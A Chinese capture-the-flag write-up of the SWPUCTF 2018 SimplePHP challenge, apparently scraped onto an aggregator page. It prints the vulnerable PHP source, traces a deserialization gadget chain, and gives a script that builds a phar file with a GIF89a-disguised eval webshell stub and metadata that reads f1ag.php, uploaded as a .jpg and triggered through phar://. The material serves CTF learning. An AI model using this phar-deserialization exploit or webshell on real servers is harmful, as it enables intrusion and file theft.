当前位置: 首页 > news >正文

[SWPUCTF 2018]SimplePHP1

打开环境

有查看文件跟上传文件,查看文件里面显示没有文件url貌似可以文件读取

上传文件里面可以上传文件。

先看一下可不可以文件读取

/etc/passwd不能读取,源码提示flag在f1ag.php

看看能不能读取当前的文件,

        

先把代码摘下来

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { $show->source = $file; $show->_show(); 
} else if (!empty($file)){ die('file doesn\'t exists.'); 
} 
?> 

upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上传</title> 
</head> 
<body> 
<div align = "center"> <h1>前端写得很low,请各位师傅见谅!</h1> 
</div> 
<style> p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> 
</div> </script> 
</body> 
</html>

funcion.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } 
} 
function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } 
} 
?> 

class.php

 <?php
class C1e4r
{public $test;public $str;public function __construct($name){$this->str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;}
}class Show
{public $source;public $str;public function __construct($file){$this->source = $file;   //$this->source = phar://phar.jpgecho $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}}
}
class Test
{public $file;public $params;public function __construct(){$this->params = array();}public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}
?> 

审计一下

由于设置了ini_set('open_basedir','/var/www/html/'); 

所以只能读取/var/www/html目录

看一下function.php

只能上传后缀为gif.jpeg,jpg,png

好像绕不过去

看一下class.php

有file_get_contents()是不是可以通过构造pop链,实现读取f1ag.php呢

这里暗示用phar反序列化

正好file.ph里面有个file_exists()函数可以出发phar反序列化

分析一下链

file_get函数由get触发,get由__get触发,当指向类中不存在的变量时候可以出发__get魔法函数

看一下参数,$value由params[$key]得到,$key由出发__get函数时传入,可以控制params和key使得$value=f1ag.php

看一下如何出发__get

在Show里面

如果令str['str']=new Test()就会出发Test里面的__get

然后看如何出发_toString

C1e4r里面的echo正好可以出发toString

脚本如下

<?php
class C1e4r{public $test;public $str;
}class Show
{public $source;public $str;
}class Test
{public $file;public $params;
}$a = new Test();
$a->params['source'] ='/var/www/html/f1ag.php';$b = new Show();
$b->str['str']=$a;$c = new C1e4r();
$c->str = $b;@unlink("phar.phar");
$phar = new Phar('phar.phar'); //后缀名必须为phar
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php echo 1;eval($_GET["Smi1e"]);?>'.'<?php __HALT_COMPILER();?>');
$phar -> setMetadata($c); //将自定义的meta-data存入manifest
$phar -> addFromString('test.txt','test');//添加要压缩的文件
$phar -> stopBuffering();   //签名自动计算

生成的exp.phar改成.jpg结尾之后上传

然后访问file=phar://upload/文件名即可拿到flag

md,我这里phar.readonly明明改成Off还是生成不了phar文件,无语死了。

http://www.lryc.cn/news/289501.html

相关文章:

  • api管理工具的新发现
  • 2024 年 eBPF 和网络趋势预测
  • 2024.1.27 GNSS 学习笔记
  • Unity - 将项目转为HDRP
  • ETCD高可用架构涉及常用功能整理
  • 深度学习中RGB影像图的直方图均衡化python代码and对图片中指定部分做基于掩模的特定区域直方图均衡化
  • PyTorch深度学习实战(33)——条件生成对抗网络(Conditional Generative Adversarial Network, CGAN)
  • 编写Bash脚本程序从记录文件中提取history命令的优化,再介绍linux bash语法和结构
  • Python中Numba库装饰器
  • Spring Boot Aop 执行顺序
  • 100天精通鸿蒙从入门到跳槽——第16天:ArkTS条件渲染使用教程
  • 【Linux C | 进程】Linux 进程间通信的10种方式(1)
  • 橘子学Mybatis08之Mybatis关于一级缓存的使用和适配器设计模式
  • 看图说话:Git图谱解读
  • linux新增用户,指定home目录和bash脚本且加入到sudoer列表
  • 经典目标检测YOLO系列(三)YOLOV3的复现(1)总体网络架构及前向处理过程
  • OpenGL/C++_学习笔记(四)空间概念与摄像头
  • C语言2024-1-27练习记录
  • 深入解析HTTPS:安全机制全方位剖析
  • 【197】JAVA8调用阿里云对象存储API,保存图片并获取图片URL地址。
  • 2024.1.24 C++QT 作业
  • jenkins部署过程记录
  • JS-策略设计模式
  • 漏洞复现-EduSoho任意文件读取漏洞(附漏洞检测脚本)
  • 「QT」QString类的详细说明
  • 微信小程序-04
  • 什么是数据库的三级模式两级映象?
  • 初识人工智能,一文读懂机器学习之逻辑回归知识文集(6)
  • 2024 CKA 题库 | 15、备份还原 etcd
  • 基于Matlab/Simulink直驱式风电储能制氢仿真模型